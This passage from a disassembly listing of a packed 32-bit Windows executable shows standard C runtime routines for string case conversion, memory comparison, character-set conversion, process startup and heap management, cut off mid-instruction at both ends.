ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB9F4 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43CBC4, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C9B8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43CBC4, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C9B8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: .packed:0041D6C0j ; .packed:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: .packed:0041D6CBj ; .packed:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: .packed:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: .packed:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: .packed:0041D703j ; .packed:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: .packed:0041D6C6j ; .packed:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: .packed:0041D6F5j ; .packed:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: .packed:0041D72Fj ; .packed:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB9F4, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43CBC4, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C9B8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB9F4 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB9F4, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBA04 call esi ; MultiByteToWideChar test eax, eax jnz loc_41D92D call dword_42708C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB938, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C9B8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBA04 call esi ; MultiByteToWideChar test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB9F4, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBA04 call dword_427180 ; MultiByteToWideChar cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D933 proc near ; CODE XREF: start+200j ; .RLPack:004FC4CDp ; DATA XREF: ... var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427720 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_4271B0 ; GetVersion xor edx, edx mov dl, ah mov dword_4DB950, edx mov ecx, eax and ecx, 0FFh mov dword_4DB94C, ecx shl ecx, 8 add ecx, edx mov dword_4DB948, ecx shr eax, 10h mov dword_4DB944, eax xor esi, esi push esi call sub_41DDD2 pop ecx test eax, eax jnz short loc_41D99F push 1Ch call sub_41DA4E pop ecx loc_41D99F: ; CODE XREF: sub_41D933+62j mov [ebp+var_4], esi call sub_423302 call dword_4271AC ; GetCommandLineA mov dword_4DCFCC, eax call sub_4231D0 mov dword_4DB9A8, eax call sub_422F83 call sub_422ECA call sub_41B784 mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_4271A8 ; GetStartupInfoA call sub_422E72 mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_41D9EC movzx eax, [ebp+var_2C] jmp short loc_41D9EF ; --------------------------------------------------------------------------- loc_41D9EC: ; CODE XREF: sub_41D933+B1j push 0Ah pop eax loc_41D9EF: ; CODE XREF: sub_41D933+B7j push eax push [ebp+var_64] push esi push esi call dword_42709C ; GetModuleHandleA push eax call sub_401221 mov [ebp+var_60], eax push eax call sub_41B7B1 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_422CEE pop ecx pop ecx retn sub_41D933 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41B7C2 ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; sub_422ECA+4Ep ... arg_0 = dword ptr 4 cmp dword_4DB9B0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A980 pop ecx pop ecx retn sub_41DA29 endp ; =============== S U B R O U T I N E ======================================= sub_41DA4E proc near ; CODE XREF: sub_41D933+66p arg_0 = dword ptr 4 cmp dword_4DB9B0, 1 jnz short loc_41DA5C call sub_423590 loc_41DA5C: ; CODE XREF: sub_41DA4E+7j push [esp+arg_0] call sub_4235C9 pop ecx push 0FFh call dword_427064 ; ExitProcess retn sub_41DA4E endp ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DCD80 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax call dword_427068 ; CloseHandle test eax, eax jnz short loc_41DAEB call dword_42708C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB93C, 0 mov dword_4DB938, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; sub_41D1EC+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DCC60, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DBC58 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DCC60 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: sub_41DC8A+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_42709C ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC8A proc near ; CODE XREF: sub_41DDD2+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_4270C8 ; GetVersionExA test eax, eax jz short loc_41DCCD cmp [ebp+var_88], 2 jnz short loc_41DCCD cmp [ebp+var_94], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: sub_41DC8A+27j ; sub_41DC8A+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4271B4 ; GetEnvironmentVariableA test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: sub_41DC8A+83j mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: sub_41DC8A+76j ; sub_41DC8A+7Aj inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: sub_41DC8A+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp+var_122C] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: sub_41DC8A+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_427070 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_41DD65 loc_41DD52: ; CODE XREF: sub_41DC8A+D9j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: sub_41DC8A+CCj ; sub_41DC8A+D0j inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: sub_41DC8A+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: sub_41DC8A+A5j cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: sub_41DC8A+115j cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: sub_41DC8A+10Cj inc ecx loc_41DD9D: ; CODE XREF: sub_41DC8A+110j cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: sub_41DC8A+107j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: sub_41DC8A+5Cj ; sub_41DC8A+F2j ... lea eax, [ebp+var_4] push eax call sub_41DC5D cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: sub_41DC8A+3Ej ; sub_41DC8A+126j ... pop ebx leave retn sub_41DC8A endp ; =============== S U B R O U T I N E ======================================= sub_41DDD2 proc near ; CODE XREF: sub_41D933+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4271BC ; HeapCreate test eax, eax mov dword_4DCFC4, eax jz short loc_41DE28 call sub_41DC8A cmp eax, 3 mov dword_4DCFC8, eax jnz short loc_41DE0E push 3F8h call sub_41DE2F pop ecx jmp short loc_41DE18 ; --------------------------------------------------------------------------- loc_41DE0E: ; CODE XREF: sub_41DDD2+2Dj cmp eax, 2 jnz short loc_41DE2B call sub_41E976 loc_41DE18: ; CODE XREF: sub_41DDD2+3Aj test eax, eax jnz short loc_41DE2B push dword_4DCFC4 call dword_4271B8 ; HeapDestroy loc_41DE28: ; CODE XREF: sub_41DDD2+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41DE2B: ; CODE XREF: sub_41DDD2+3Fj ; sub_41DDD2+48j push 1 pop eax retn sub_41DDD2 endp ; =============== S U B R O U T I N E ======================================= sub_41DE2F proc near ; CODE XREF: sub_41DDD2+34p arg_0 = dword ptr 4 push 140h push 0 push dword_4DCFC4 call dword_427144 ; RtlAllocateHeap test eax, eax mov dword_4DCFBC, eax jnz short loc_41DE4C retn ; --------------------------------------------------------------------------- loc_41DE4C: ; CODE XREF: sub_41DE2F+1Aj mov ecx, [esp+arg_0] and dword_4DCFB4, 0 and dword_4DCFB8, 0 push 1 mov dword_4DCFB0, eax mov dword_4DCFC0, ecx mov dword_4DCFA8, 10h pop eax retn sub_41DE2F endp ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DCFB8 lea ecx, [eax+eax*4] mov eax, dword_4DCFBC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, 